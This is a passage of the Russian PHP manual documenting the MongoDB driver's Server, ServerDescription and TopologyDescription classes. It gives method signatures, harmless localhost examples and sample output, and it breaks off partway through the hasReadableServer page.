Замечание: Ответственность вызывающего кода заключается в том, что сервер в состоянии выполнять операцию записи. Например, выполнение операции записи на вторичном узле (исключая "локальную" базу данных) завершится неудачей.

Смотрите также

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Server::executeCommand() - Выполнить команду базы данных на сервере
  • MongoDB\Driver\Server::executeReadCommand() - Выполняет команду базы данных, которая читает на сервере
  • MongoDB\Driver\Server::executeReadWriteCommand() - Выполняет команду базы данных, которая читает и пишет на сервере
  • MongoDB\Driver\Manager::executeWriteCommand() - Выполняет команду базы данных, которая пишет

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя хоста сервера

  • « MongoDB\Driver\Server::executeWriteCommand
  • MongoDB\Driver\Server::getInfo »
  • PHP Manual
  • MongoDB\Driver\Server
  • Возвращает имя хоста сервера

MongoDB\Driver\Server::getHost

(mongodb >=1.0.0)

MongoDB\Driver\Server::getHost — Возвращает имя хоста сервера

Описание

final public MongoDB\Driver\Server::getHost(): string

Возвращает имя хоста сервера.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя хоста сервера.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\Server::getHost()

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017/");

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY);
$server = $manager->selectServer($rp);

var_dump($server->getHost());

?>

Результат выполнения данного примера:

string(9) "localhost"

Смотрите также

  • MongoDB\Driver\Server::getInfo() - Возвращает массив информации, описывающий сервер
  • MongoDB\Driver\ServerDescription::getHost() - Возвращает имя хоста сервера

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив информации, описывающий сервер

  • « MongoDB\Driver\Server::getHost
  • MongoDB\Driver\Server::getLatency »
  • PHP Manual
  • MongoDB\Driver\Server
  • Возвращает массив информации, описывающий сервер

MongoDB\Driver\Server::getInfo

(mongodb >=1.0.0)

MongoDB\Driver\Server::getInfo — Возвращает массив информации, описывающий сервер

Описание

final public MongoDB\Driver\Server::getInfo(): array

Возвращает массив информации, описывающий сервер. Этот массив получен из последнего ответа команды » hello, полученного с помощью » мониторинга сервера.

Замечание:

Когда драйвер подключён к балансировщику нагрузки, метод вернёт ответ на команду » hello от резервного сервера при первоначальном подтверждении соединения. Это отличается от других методов (например, MongoDB\Driver\Server::getType()), которые возвращают информацию о самом балансировщике нагрузки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив информации, описывающий сервер.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\Server::getInfo()

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017/');

$rp = new MongoDB\Driver\ReadPreference('primary');
$server = $manager->selectServer($rp);

var_dump($server->getInfo());

?>

Результатом выполнения данного примера будет что-то подобное:

array(23) {
  ["helloOk"]=>
  bool(true)
  ["topologyVersion"]=>
  array(2) {
    ["processId"]=>
    object(MongoDB\BSON\ObjectId)#4 (1) {
      ["oid"]=>
      string(24) "617b6d696a3a89d2f77e6df0"
    }
    ["counter"]=>
    int(6)
  }
  ["hosts"]=>
  array(1) {
    [0]=>
    string(15) "localhost:27017"
  }
  ["setName"]=>
  string(3) "rs0"
  ["setVersion"]=>
  int(1)
  ["ismaster"]=>
  bool(true)
  ["secondary"]=>
  bool(false)
  ["primary"]=>
  string(15) "localhost:27017"
  ["me"]=>
  string(15) "localhost:27017"
  ["electionId"]=>
  object(MongoDB\BSON\ObjectId)#5 (1) {
    ["oid"]=>
    string(24) "7fffffff0000000000000001"
  }
  ["lastWrite"]=>
  array(4) {
    ["opTime"]=>
    array(2) {
      ["ts"]=>
      object(MongoDB\BSON\Timestamp)#6 (2) {
        ["increment"]=>
        string(1) "1"
        ["timestamp"]=>
        string(10) "1635478989"
      }
      ["t"]=>
      int(1)
    }
    ["lastWriteDate"]=>
    object(MongoDB\BSON\UTCDateTime)#7 (1) {
      ["milliseconds"]=>
      string(13) "1635478989000"
    }
    ["majorityOpTime"]=>
    array(2) {
      ["ts"]=>
      object(MongoDB\BSON\Timestamp)#8 (2) {
        ["increment"]=>
        string(1) "1"
        ["timestamp"]=>
        string(10) "1635478989"
      }
      ["t"]=>
      int(1)
    }
    ["majorityWriteDate"]=>
    object(MongoDB\BSON\UTCDateTime)#9 (1) {
      ["milliseconds"]=>
      string(13) "1635478989000"
    }
  }
  ["maxBsonObjectSize"]=>
  int(16777216)
  ["maxMessageSizeBytes"]=>
  int(48000000)
  ["maxWriteBatchSize"]=>
  int(100000)
  ["localTime"]=>
  object(MongoDB\BSON\UTCDateTime)#10 (1) {
    ["milliseconds"]=>
    string(13) "1635478992136"
  }
  ["logicalSessionTimeoutMinutes"]=>
  int(30)
  ["connectionId"]=>
  int(3)
  ["minWireVersion"]=>
  int(0)
  ["maxWireVersion"]=>
  int(13)
  ["readOnly"]=>
  bool(false)
  ["ok"]=>
  float(1)
  ["$clusterTime"]=>
  array(2) {
    ["clusterTime"]=>
    object(MongoDB\BSON\Timestamp)#11 (2) {
      ["increment"]=>
      string(1) "1"
      ["timestamp"]=>
      string(10) "1635478989"
    }
    ["signature"]=>
    array(2) {
      ["hash"]=>
      object(MongoDB\BSON\Binary)#12 (2) {
        ["data"]=>
        string(20) ""
        ["type"]=>
        int(0)
      }
      ["keyId"]=>
      int(0)
    }
  }
  ["operationTime"]=>
  object(MongoDB\BSON\Timestamp)#13 (2) {
    ["increment"]=>
    string(1) "1"
    ["timestamp"]=>
    string(10) "1635478989"
  }
}

Список изменений

Версия | Описание
PECL mongodb 1.11.0 | Когда драйвер подключён к подсистеме балансировки нагрузки, метод возвращает ответ на команду hello вспомогательного сервера при первоначальном подтверждении соединения.

Смотрите также

  • MongoDB\Driver\ServerDescription::getHelloResponse() - Возвращает последний ответ сервера "hello"
  • Команда » hello в руководстве MongoDB
  • » Руководство по обнаружению и мониторингу серверов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает задержку сервера в миллисекундах

  • « MongoDB\Driver\Server::getInfo
  • MongoDB\Driver\Server::getPort »
  • PHP Manual
  • MongoDB\Driver\Server
  • Возвращает задержку сервера в миллисекундах

MongoDB\Driver\Server::getLatency

(mongodb >=1.0.0)

MongoDB\Driver\Server::getLatency — Возвращает задержку сервера в миллисекундах

Описание

final public MongoDB\Driver\Server::getLatency(): ?integer

Возвращает задержку сервера в миллисекундах. Измеренное клиентом » время прохождения команды hello.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает задержку сервера в миллисекундах или null, если задержка не была измерена (например, клиент подключён к балансировщику нагрузки).

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Список изменений

Версия | Описание
PECL mongodb 1.11.0 | Метод вернёт null, если задержка не была измерена. В более ранних версиях всегда возвращалось целое число, а неустановленное значение могло отображаться как -1.

Примеры

Пример #1 Пример использования MongoDB\Driver\Server::getLatency()

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017/");

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY);
$server = $manager->selectServer($rp);

var_dump($server->getLatency());

?>

Результатом выполнения данного примера будет что-то подобное:

int(592)

Смотрите также

  • MongoDB\Driver\Server::getInfo() - Возвращает массив информации, описывающий сервер
  • MongoDB\Driver\ServerDescription::getRoundTripTime() - Возвращает время обхода сервера в миллисекундах
  • » Спецификация обнаружения и мониторинга сервера

User Contributed Notes

There are no user contributed notes for this page.


Возвращает порт, который слушает сервер

  • « MongoDB\Driver\Server::getLatency
  • MongoDB\Driver\Server::getServerDescription »
  • PHP Manual
  • MongoDB\Driver\Server
  • Возвращает порт, который слушает сервер

MongoDB\Driver\Server::getPort

(mongodb >=1.0.0)

MongoDB\Driver\Server::getPort — Возвращает порт, который слушает сервер

Описание

final public MongoDB\Driver\Server::getPort(): int

Возвращает порт, который слушает сервер.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает порт, который слушает сервер.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\Server::getPort()

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017/");

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY);
$server = $manager->selectServer($rp);

var_dump($server->getPort());

?>

Результат выполнения данного примера:

int(27017)

Смотрите также

  • MongoDB\Driver\Server::getInfo() - Возвращает массив информации, описывающий сервер
  • MongoDB\Driver\ServerDescription::getPort() - Возвращает порт, на котором прослушивается данный сервер

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ServerDescription сервера

  • « MongoDB\Driver\Server::getPort
  • MongoDB\Driver\Server::getTags »
  • PHP Manual
  • MongoDB\Driver\Server
  • Возвращает ServerDescription сервера

MongoDB\Driver\Server::getServerDescription

(mongodb >=1.13.0)

MongoDB\Driver\Server::getServerDescription — Возвращает ServerDescription сервера

Описание

final public MongoDB\Driver\Server::getServerDescription(): MongoDB\Driver\ServerDescription

Возвращает MongoDB\Driver\ServerDescription сервера. Это неизменяемый объект значения, который будет описывать сервер во время вызова метода.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает MongoDB\Driver\ServerDescription сервера.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив тегов, описывающих сервер в наборе реплик

  • « MongoDB\Driver\Server::getServerDescription
  • MongoDB\Driver\Server::getType »
  • PHP Manual
  • MongoDB\Driver\Server
  • Возвращает массив тегов, описывающих сервер в наборе реплик

MongoDB\Driver\Server::getTags

(mongodb >=1.0.0)

MongoDB\Driver\Server::getTags — Возвращает массив тегов, описывающих сервер в наборе реплик

Описание

final public MongoDB\Driver\Server::getTags(): array

Возвращает array » тегов, используемых для описания этого сервера в наборе реплик. Массив будет содержать ноль или более пар string ключей и значений.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает array тегов, используемых для описания сервера в наборе реплик.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Server::getInfo() - Возвращает массив информации, описывающий сервер

User Contributed Notes

There are no user contributed notes for this page.


Возвращает целое число, обозначающее тип этого сервера

  • « MongoDB\Driver\Server::getTags
  • MongoDB\Driver\Server::isArbiter »
  • PHP Manual
  • MongoDB\Driver\Server
  • Возвращает целое число, обозначающее тип этого сервера

MongoDB\Driver\Server::getType

(mongodb >=1.0.0)

MongoDB\Driver\Server::getType — Возвращает целое число, обозначающее тип этого сервера

Описание

final public MongoDB\Driver\Server::getType(): int

Возвращает int, обозначающее тип этого сервера. Значение будет соответствовать константе MongoDB\Driver\Server.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает int, обозначающее тип этого сервера.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Server::getInfo() - Возвращает массив информации, описывающий сервер
  • MongoDB\Driver\ServerDescription::getType() - Возвращает строку, обозначающую тип данного сервера

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли сервер членом-арбитром в наборе реплик

  • « MongoDB\Driver\Server::getType
  • MongoDB\Driver\Server::isHidden »
  • PHP Manual
  • MongoDB\Driver\Server
  • Проверяет, является ли сервер членом-арбитром в наборе реплик

MongoDB\Driver\Server::isArbiter

(mongodb >=1.0.0)

MongoDB\Driver\Server::isArbiter — Проверяет, является ли сервер членом-арбитром в наборе реплик

Описание

final public MongoDB\Driver\Server::isArbiter(): bool

Возвращает, является ли этот сервер » членом-арбитром набора реплик.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если этот сервер является членом-арбитром набора реплик, и false в противном случае.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Server::getInfo() - Возвращает массив информации, описывающий сервер

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли сервер скрытым членом набора реплик

  • « MongoDB\Driver\Server::isArbiter
  • MongoDB\Driver\Server::isPassive »
  • PHP Manual
  • MongoDB\Driver\Server
  • Проверяет, является ли сервер скрытым членом набора реплик

MongoDB\Driver\Server::isHidden

(mongodb >=1.0.0)

MongoDB\Driver\Server::isHidden — Проверяет, является ли сервер скрытым членом набора реплик

Описание

final public MongoDB\Driver\Server::isHidden(): bool

Возвращает, является ли этот сервер » скрытым членом набора реплик.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если этот сервер является скрытым членом набора реплик, и false в противном случае.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Server::getInfo() - Возвращает массив информации, описывающий сервер

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли сервер пассивным членом набора реплик

  • « MongoDB\Driver\Server::isHidden
  • MongoDB\Driver\Server::isPrimary »
  • PHP Manual
  • MongoDB\Driver\Server
  • Проверяет, является ли сервер пассивным членом набора реплик

MongoDB\Driver\Server::isPassive

(mongodb >=1.0.0)

MongoDB\Driver\Server::isPassive — Проверяет, является ли сервер пассивным членом набора реплик

Описание

final public MongoDB\Driver\Server::isPassive(): bool

Возвращает, является ли этот сервер » пассивным членом набора реплик (то есть его приоритет равен 0).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если этот сервер является пассивным членом набора реплик, и false в противном случае.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Server::getInfo() - Возвращает массив информации, описывающий сервер

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли сервер основным членом набора реплик

  • « MongoDB\Driver\Server::isPassive
  • MongoDB\Driver\Server::isSecondary »
  • PHP Manual
  • MongoDB\Driver\Server
  • Проверяет, является ли сервер основным членом набора реплик

MongoDB\Driver\Server::isPrimary

(mongodb >=1.0.0)

MongoDB\Driver\Server::isPrimary — Проверяет, является ли сервер основным членом набора реплик

Описание

final public MongoDB\Driver\Server::isPrimary(): bool

Возвращает, является ли этот сервер » основным членом набора реплик.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если этот сервер является основным членом набора реплик, и false в противном случае.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Server::getInfo() - Возвращает массив информации, описывающий сервер

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли этот сервер второстепенным членом набора реплик

  • « MongoDB\Driver\Server::isPrimary
  • MongoDB\Driver\ServerDescription »
  • PHP Manual
  • MongoDB\Driver\Server
  • Проверяет, является ли этот сервер второстепенным членом набора реплик

MongoDB\Driver\Server::isSecondary

(mongodb >=1.0.0)

MongoDB\Driver\Server::isSecondary — Проверяет, является ли этот сервер второстепенным членом набора реплик

Описание

final public MongoDB\Driver\Server::isSecondary(): bool

Возвращает, является ли этот сервер » второстепенным членом набора реплик.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если этот сервер является второстепенным членом набора реплик, и false в противном случае.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Server::getInfo() - Возвращает массив информации, описывающий сервер

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\ServerDescription

(mongodb >=1.13.0)

Введение

Класс MongoDB\Driver\ServerDescription представляет собой объект значения, представляющий сервер, к которому подключён драйвер. Экземпляры класса возвращаются методами MongoDB\Driver\Server::getServerDescription() и MongoDB\Driver\Monitoring\ServerChangedEvent.

Обзор классов

final class MongoDB\Driver\ServerDescription {
/* Константы */
const string TYPE_UNKNOWN = "Unknown";
const string TYPE_STANDALONE = "Standalone";
const string TYPE_MONGOS = "Mongos";
const string TYPE_POSSIBLE_PRIMARY = "PossiblePrimary";
const string TYPE_RS_PRIMARY = "RSPrimary";
const string TYPE_RS_SECONDARY = "RSSecondary";
const string TYPE_RS_ARBITER = "RSArbiter";
const string TYPE_RS_OTHER = "RSOther";
const string TYPE_RS_GHOST = "RSGhost";
const string TYPE_LOAD_BALANCER = "LoadBalancer";
/* Методы */
final public getHelloResponse(): array
final public getHost(): string
final public getLastUpdateTime(): int
final public getPort(): int
final public getRoundTripTime(): ?int
final public getType(): string
}

Предопределённые константы

MongoDB\Driver\ServerDescription::TYPE_UNKNOWN

Неизвестный тип сервера, возвращаемый методом MongoDB\Driver\ServerDescription::getType().

MongoDB\Driver\ServerDescription::TYPE_STANDALONE

Тип автономного сервера, возвращаемый методомMongoDB\Driver\ServerDescription::getType().

MongoDB\Driver\ServerDescription::TYPE_MONGOS

Тип сервера Mongos, возвращаемый методом MongoDB\Driver\ServerDescription::getType().

MongoDB\Driver\ServerDescription::TYPE_POSSIBLE_PRIMARY

Набор реплик возможного типа первичного сервера, возвращаемый методом MongoDB\Driver\ServerDescription::getType().

Сервер может быть определён как возможный первичный, если он ещё не был проверен, но другая память набора реплик считает его первичным.

MongoDB\Driver\ServerDescription::TYPE_RS_PRIMARY

Тип первичного сервера набора реплик, возвращаемый методом MongoDB\Driver\ServerDescription::getType().

MongoDB\Driver\ServerDescription::TYPE_RS_SECONDARY

Тип вторичного сервера набора реплик, возвращаемый методом MongoDB\Driver\ServerDescription::getType().

MongoDB\Driver\ServerDescription::TYPE_RS_ARBITER

Тип сервера арбитража набора реплик, возвращаемый методом MongoDB\Driver\ServerDescription::getType().

MongoDB\Driver\ServerDescription::TYPE_RS_OTHER

Набор реплик другого типа сервера, возвращаемый методом MongoDB\Driver\ServerDescription::getType().

Такие серверы могут быть скрыты, запускаться или восстанавливаться. Их нельзя запросить, но их списки хостов полезны для обнаружения текущей конфигурации набора реплик.

MongoDB\Driver\ServerDescription::TYPE_RS_GHOST

Тип сервера-призрака набора реплик, возвращаемый методом MongoDB\Driver\ServerDescription::getType().

Серверы могут быть определены как таковые по крайней мере в трёх ситуациях: кратковременно во время запуска сервера; в неинициализированном наборе реплик; или когда сервер избегается (т.е. удаляется из конфигурации набора реплик). Они не могут быть запрошены, и их список хостов не может быть использован для обнаружения текущей конфигурации набора реплик; однако клиент может следить за этим сервером в надежде, что он перейдёт в более полезное состояние.

MongoDB\Driver\ServerDescription::TYPE_LOAD_BALANCER

Тип сервера балансировщика нагрузки, возвращаемый методом MongoDB\Driver\ServerDescription::getType().

Содержание

  • MongoDB\Driver\ServerDescription::getHelloResponse — Возвращает последний ответ сервера "hello"
  • MongoDB\Driver\ServerDescription::getHost — Возвращает имя хоста сервера
  • MongoDB\Driver\ServerDescription::getLastUpdateTime — Возвращает время последнего обновления сервера в микросекундах
  • MongoDB\Driver\ServerDescription::getPort — Возвращает порт, на котором прослушивается данный сервер
  • MongoDB\Driver\ServerDescription::getRoundTripTime — Возвращает время обхода сервера в миллисекундах
  • MongoDB\Driver\ServerDescription::getType — Возвращает строку, обозначающую тип данного сервера

User Contributed Notes

There are no user contributed notes for this page.


Возвращает последний ответ сервера "hello"

  • « MongoDB\Driver\ServerDescription
  • MongoDB\Driver\ServerDescription::getHost »
  • PHP Manual
  • MongoDB\Driver\ServerDescription
  • Возвращает последний ответ сервера "hello"

MongoDB\Driver\ServerDescription::getHelloResponse

(mongodb >=1.13.0)

MongoDB\Driver\ServerDescription::getHelloResponse — Возвращает последний ответ сервера "hello"

Описание

final public MongoDB\Driver\ServerDescription::getHelloResponse(): array

Возвращает массив информации, описывающей сервер. Этот массив формируется из самого последнего (на момент создания MongoDB\Driver\ServerDescription) ответа команды » hello ответ команды, полученный с помощью » мониторинга сервера.

Замечание:

Если драйвер подключён к балансировщику нагрузки, метод вернёт пустой массив, так как балансировщики нагрузки не отслеживаются. В отличие от MongoDB\Driver\Server::getInfo(), которая возвращает ответ команды » hello от начального рукопожатия соединения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив информации, описывающей сервер.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Server::getInfo() - Возвращает массив информации, описывающий сервер
  • Команда » hello в руководстве по MongoDB
  • » Спецификация обнаружения и мониторинга серверов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя хоста сервера

  • « MongoDB\Driver\ServerDescription::getHelloResponse
  • MongoDB\Driver\ServerDescription::getLastUpdateTime »
  • PHP Manual
  • MongoDB\Driver\ServerDescription
  • Возвращает имя хоста сервера

MongoDB\Driver\ServerDescription::getHost

(mongodb >=1.13.0)

MongoDB\Driver\ServerDescription::getHost — Возвращает имя хоста сервера

Описание

final public MongoDB\Driver\ServerDescription::getHost(): string

Возвращает имя хоста сервера.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя хоста сервера.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Server::getHost() - Возвращает имя хоста сервера

User Contributed Notes

There are no user contributed notes for this page.


Возвращает время последнего обновления сервера в микросекундах

  • « MongoDB\Driver\ServerDescription::getHost
  • MongoDB\Driver\ServerDescription::getPort »
  • PHP Manual
  • MongoDB\Driver\ServerDescription
  • Возвращает время последнего обновления сервера в микросекундах

MongoDB\Driver\ServerDescription::getLastUpdateTime

(mongodb >=1.13.0)

MongoDB\Driver\ServerDescription::getLastUpdateTime — Возвращает время последнего обновления сервера в микросекундах

Описание

final public MongoDB\Driver\ServerDescription::getLastUpdateTime(): int

Возвращает время последнего обновления сервера в микросекундах.

Замечание: Возвращаемое значение представляет собой монотонную метку времени, которая начинается в произвольной точке. Как таковое, оно подходит только для сравнения с другими возвращаемыми значениями из функции MongoDB\Driver\ServerDescription::getLastUpdateTime().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает время последнего обновления сервера в микросекундах.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает порт, на котором прослушивается данный сервер

  • « MongoDB\Driver\ServerDescription::getLastUpdateTime
  • MongoDB\Driver\ServerDescription::getRoundTripTime »
  • PHP Manual
  • MongoDB\Driver\ServerDescription
  • Возвращает порт, на котором прослушивается данный сервер

MongoDB\Driver\ServerDescription::getPort

(mongodb >=1.13.0)

MongoDB\Driver\ServerDescription::getPort — Возвращает порт, на котором прослушивается данный сервер

Описание

final public MongoDB\Driver\ServerDescription::getPort(): int

Возвращает порт, на котором прослушивается данный сервер.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает порт, на котором прослушивается данный сервер.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Server::getPort() - Возвращает порт, который слушает сервер

User Contributed Notes

There are no user contributed notes for this page.


Возвращает время обхода сервера в миллисекундах

  • « MongoDB\Driver\ServerDescription::getPort
  • MongoDB\Driver\ServerDescription::getType »
  • PHP Manual
  • MongoDB\Driver\ServerDescription
  • Возвращает время обхода сервера в миллисекундах

MongoDB\Driver\ServerDescription::getRoundTripTime

(mongodb >=1.13.0)

MongoDB\Driver\ServerDescription::getRoundTripTime — Возвращает время обхода сервера в миллисекундах

Описание

final public MongoDB\Driver\ServerDescription::getRoundTripTime(): ?int

Возвращает время обхода сервера в миллисекундах. Это измерение продолжительности команды » hello.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает время обхода сервера в миллисекундах.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Server::getLatency() - Возвращает задержку сервера в миллисекундах

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строку, обозначающую тип данного сервера

  • « MongoDB\Driver\ServerDescription::getRoundTripTime
  • MongoDB\Driver\TopologyDescription »
  • PHP Manual
  • MongoDB\Driver\ServerDescription
  • Возвращает строку, обозначающую тип данного сервера

MongoDB\Driver\ServerDescription::getType

(mongodb >=1.13.0)

MongoDB\Driver\ServerDescription::getType — Возвращает строку, обозначающую тип данного сервера

Описание

final public MongoDB\Driver\ServerDescription::getType(): string

Возвращает строку (string), обозначающую тип данного сервера. Значение будет соотноситься с константой MongoDB\Driver\ServerDescription.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку (string), обозначающую тип данного сервера.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Server::getType() - Возвращает целое число, обозначающее тип этого сервера

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\TopologyDescription

(mongodb >=1.13.0)

Введение

Класс MongoDB\Driver\TopologyDescription представляет собой объект значения, представляющий топологию, к которой подключён драйвер. Экземпляры класса возвращаются методами MongoDB\Driver\Monitoring\TopologyChangedEvent.

Обзор классов

final class MongoDB\Driver\TopologyDescription {
/* Константы */
const string TYPE_UNKNOWN = "Unknown";
const string TYPE_SINGLE = "Single";
const string TYPE_SHARDED = "Sharded";
const string TYPE_REPLICA_SET_NO_PRIMARY = "ReplicaSetNoPrimary";
const string TYPE_REPLICA_SET_WITH_PRIMARY = "ReplicaSetWithPrimary";
const string TYPE_LOAD_BALANCED = "LoadBalanced";
/* Методы */
final public getServers(): array
final public getType(): string
final public hasReadableServer(?MongoDB\Driver\ReadPreference $readPreference = null): bool
final public hasWritableServer(): bool
}

Предопределённые константы

MongoDB\Driver\TopologyDescription::TYPE_UNKNOWN

Неизвестный тип топологии, возвращаемый методом MongoDB\Driver\TopologyDescription::getType().

MongoDB\Driver\TopologyDescription::TYPE_SINGLE

Одиночный сервер (т.е. прямое соединение), возвращаемый методом MongoDB\Driver\TopologyDescription::getType().

MongoDB\Driver\TopologyDescription::TYPE_SHARDED

Разделяемый кластер, возвращаемый методом MongoDB\Driver\TopologyDescription::getType().

MongoDB\Driver\TopologyDescription::TYPE_REPLICA_SET_NO_PRIMARY

Набор реплик без первичного сервера, возвращаемый методом MongoDB\Driver\TopologyDescription::getType().

MongoDB\Driver\TopologyDescription::TYPE_REPLICA_SET_WITH_PRIMARY

Набор реплик с первичным сервером, возвращаемый методом MongoDB\Driver\TopologyDescription::getType().

MongoDB\Driver\TopologyDescription::TYPE_LOAD_BALANCED

Сбалансированная по нагрузке топология, возвращаемая методом MongoDB\Driver\TopologyDescription::getType().

Содержание

  • MongoDB\Driver\TopologyDescription::getServers — Возвращает серверы в топологии
  • MongoDB\Driver\TopologyDescription::getType — Возвращает строку, обозначающую тип топологии
  • MongoDB\Driver\TopologyDescription::hasReadableServer — Возвращает, есть ли в топологии сервер, доступный для чтения
  • MongoDB\Driver\TopologyDescription::hasWritableServer — Возвращает, есть ли в топологии сервер, доступный для записи

User Contributed Notes

There are no user contributed notes for this page.


Возвращает серверы в топологии

  • « MongoDB\Driver\TopologyDescription
  • MongoDB\Driver\TopologyDescription::getType »
  • PHP Manual
  • MongoDB\Driver\TopologyDescription
  • Возвращает серверы в топологии

MongoDB\Driver\TopologyDescription::getServers

(mongodb >=1.13.0)

MongoDB\Driver\TopologyDescription::getServers — Возвращает серверы в топологии

Описание

final public MongoDB\Driver\TopologyDescription::getServers(): array

Возвращает массив объектов MongoDB\Driver\ServerDescription, соответствующих известным серверам в топологии.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив объектов MongoDB\Driver\ServerDescription, соответствующих известным серверам в топологии.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строку, обозначающую тип топологии

  • « MongoDB\Driver\TopologyDescription::getServers
  • MongoDB\Driver\TopologyDescription::hasReadableServer »
  • PHP Manual
  • MongoDB\Driver\TopologyDescription
  • Возвращает строку, обозначающую тип топологии

MongoDB\Driver\TopologyDescription::getType

(mongodb >=1.13.0)

MongoDB\Driver\TopologyDescription::getType — Возвращает строку, обозначающую тип топологии

Описание

final public MongoDB\Driver\TopologyDescription::getType(): string

Возвращает строку (string), обозначающую тип топологии. Значение будет соотноситься с константой MongoDB\Driver\TopologyDescription.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку (string), обозначающую тип топологии.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает, есть ли в топологии сервер, доступный для чтения

  • « MongoDB\Driver\TopologyDescription::getType
  • MongoDB\Driver\TopologyDescription::hasWritableServer »
  • PHP Manual
  • MongoDB\Driver\TopologyDescription
  • Возвращает, есть ли в топологии сервер, доступный для чтения

MongoDB\Driver\TopologyDescription::hasReadableServer

(mongodb >=1.13.0)

MongoDB\Driver\TopologyDescription::hasReadableServer — Возвращает, есть ли в топологии сервер, доступный для чтения

Описание

final public MongoDB\Driver\TopologyDescription::hasReadableServer(?MongoDB\Driver\ReadPreference $readPreference = null): bool

Возвращает, есть ли в топологии сервер, доступный для чтения, или, если указан параметр readPreference, сервер, соответствующий указанному предпочтению чтения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

